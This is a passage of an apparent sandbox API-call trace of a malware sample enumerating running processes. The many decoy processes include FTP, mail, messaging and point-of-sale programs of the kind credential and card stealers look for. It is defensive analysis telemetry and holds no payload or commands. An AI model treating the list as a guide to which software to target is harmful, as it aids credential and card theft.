lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dear-hearings.exe")) returned 1 [0092.079] lstrlenW (lpString="dear-hearings.exe") returned 17 [0092.079] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0092.079] lstrlenW (lpString="dllhost.exe") returned 11 [0092.079] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="risks_lows_nickel.exe")) returned 1 [0092.080] lstrlenW (lpString="risks_lows_nickel.exe") returned 21 [0092.080] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="physiologyconfirmedthursday.exe")) returned 1 [0092.080] lstrlenW (lpString="physiologyconfirmedthursday.exe") returned 31 [0092.080] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="testimonials counsel.exe")) returned 1 [0092.081] lstrlenW (lpString="testimonials counsel.exe") returned 24 [0092.081] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="retrievedsocietyuniv.exe")) returned 1 [0092.081] lstrlenW (lpString="retrievedsocietyuniv.exe") returned 24 [0092.082] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="boss alternatives plots.exe")) returned 1 [0092.082] lstrlenW (lpString="boss alternatives plots.exe") returned 27 [0092.082] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="towers world.exe")) returned 1 [0092.083] lstrlenW (lpString="towers world.exe") returned 16 [0092.083] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coaching indian.exe")) returned 1 [0092.083] lstrlenW (lpString="coaching indian.exe") returned 19 [0092.083] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="goal assumed.exe")) returned 1 [0092.084] lstrlenW (lpString="goal assumed.exe") returned 16 [0092.084] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0092.085] lstrlenW (lpString="3dftp.exe") returned 9 [0092.085] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0092.086] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0092.086] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0092.087] lstrlenW (lpString="alftp.exe") returned 9 [0092.087] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0092.088] lstrlenW (lpString="barca.exe") returned 9 [0092.088] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0092.089] lstrlenW (lpString="bitkinex.exe") returned 12 [0092.089] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0092.090] lstrlenW (lpString="coreftp.exe") returned 11 [0092.090] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0092.091] lstrlenW (lpString="far.exe") returned 7 [0092.091] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0092.092] lstrlenW (lpString="filezilla.exe") returned 13 [0092.092] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0092.092] lstrlenW (lpString="flashfxp.exe") returned 12 [0092.093] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0092.093] lstrlenW (lpString="fling.exe") returned 9 [0092.093] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0092.094] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0092.094] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0092.095] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0092.095] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0092.096] lstrlenW (lpString="icq.exe") returned 7 [0092.096] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0092.097] lstrlenW (lpString="leechftp.exe") returned 12 [0092.097] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0092.098] lstrlenW (lpString="ncftp.exe") returned 9 [0092.098] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0092.099] lstrlenW (lpString="notepad.exe") returned 11 [0092.099] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0092.100] lstrlenW (lpString="operamail.exe") returned 13 [0092.100] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0092.101] lstrlenW (lpString="pidgin.exe") returned 10 [0092.101] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0092.102] lstrlenW (lpString="scriptftp.exe") returned 13 [0092.102] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0092.102] lstrlenW (lpString="skype.exe") returned 9 [0092.103] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0092.103] lstrlenW (lpString="smartftp.exe") returned 12 [0092.104] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0092.104] lstrlenW (lpString="thunderbird.exe") returned 15 [0092.104] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0092.105] lstrlenW (lpString="totalcmd.exe") returned 12 [0092.105] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0092.106] lstrlenW (lpString="trillian.exe") returned 12 [0092.106] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0092.107] lstrlenW (lpString="webdrive.exe") returned 12 [0092.107] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0092.108] lstrlenW (lpString="whatsapp.exe") returned 12 [0092.108] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0092.109] lstrlenW (lpString="winscp.exe") returned 10 [0092.109] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0092.109] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0092.109] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0092.110] lstrlenW (lpString="active-charge.exe") returned 17 [0092.110] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0092.234] lstrlenW (lpString="accupos.exe") returned 11 [0092.234] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0092.235] lstrlenW (lpString="afr38.exe") returned 9 [0092.235] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0092.236] lstrlenW (lpString="aldelo.exe") returned 10 [0092.236] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0092.237] lstrlenW (lpString="ccv_server.exe") returned 14 [0092.237] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0092.237] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0092.237] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0092.238] lstrlenW (lpString="creditservice.exe") returned 17 [0092.238] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0092.239] lstrlenW (lpString="edcsvr.exe") returned 10 [0092.239] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0092.240] lstrlenW (lpString="fpos.exe") returned 8 [0092.240] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0092.240] lstrlenW (lpString="isspos.exe") returned 10 [0092.240] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0092.241] lstrlenW (lpString="mxslipstream.exe") returned 16 [0092.241] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0092.242] lstrlenW (lpString="omnipos.exe") returned 11 [0092.242] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0092.243] lstrlenW (lpString="spcwin.exe") returned 10 [0092.243] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1084, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0092.243] lstrlenW (lpString="spgagentservice.exe") returned 19 [0092.244] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0092.244] lstrlenW (lpString="utg2.exe") returned 8 [0092.244] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="hygiene_ppm.exe")) returned 1 [0092.245] lstrlenW (lpString="hygiene_ppm.exe") returned 15 [0092.245] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="glow be.exe")) returned 1 [0092.246] lstrlenW (lpString="glow be.exe") returned 11 [0092.246] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospects_pixel_academics.exe")) returned 1 [0092.247] lstrlenW (lpString="prospects_pixel_academics.exe") returned 29 [0092.247] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="contains roles was.exe")) returned 1 [0092.247] lstrlenW (lpString="contains roles was.exe") returned 22 [0092.247] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0092.248] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0092.248] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0092.249] lstrlenW (lpString="taskhostw.exe") returned 13 [0092.249] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0092.249] lstrlenW (lpString="taskhostw.exe") returned 13 [0092.249] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0092.250] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0092.250] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0092.251] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0092.251] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0092.251] lstrlenW (lpString="UsoClient.exe") returned 13 [0092.251] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0092.252] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0092.252] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x120c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0092.253] lstrlenW (lpString="conhost.exe") returned 11 [0092.253] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x11fc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0092.253] lstrlenW (lpString="conhost.exe") returned 11 [0092.253] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0092.254] lstrlenW (lpString="svchost.exe") returned 11 [0092.254] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0092.255] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0092.255] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0092.255] lstrlenW (lpString="svchost.exe") returned 11 [0092.255] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x118c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0092.256] lstrlenW 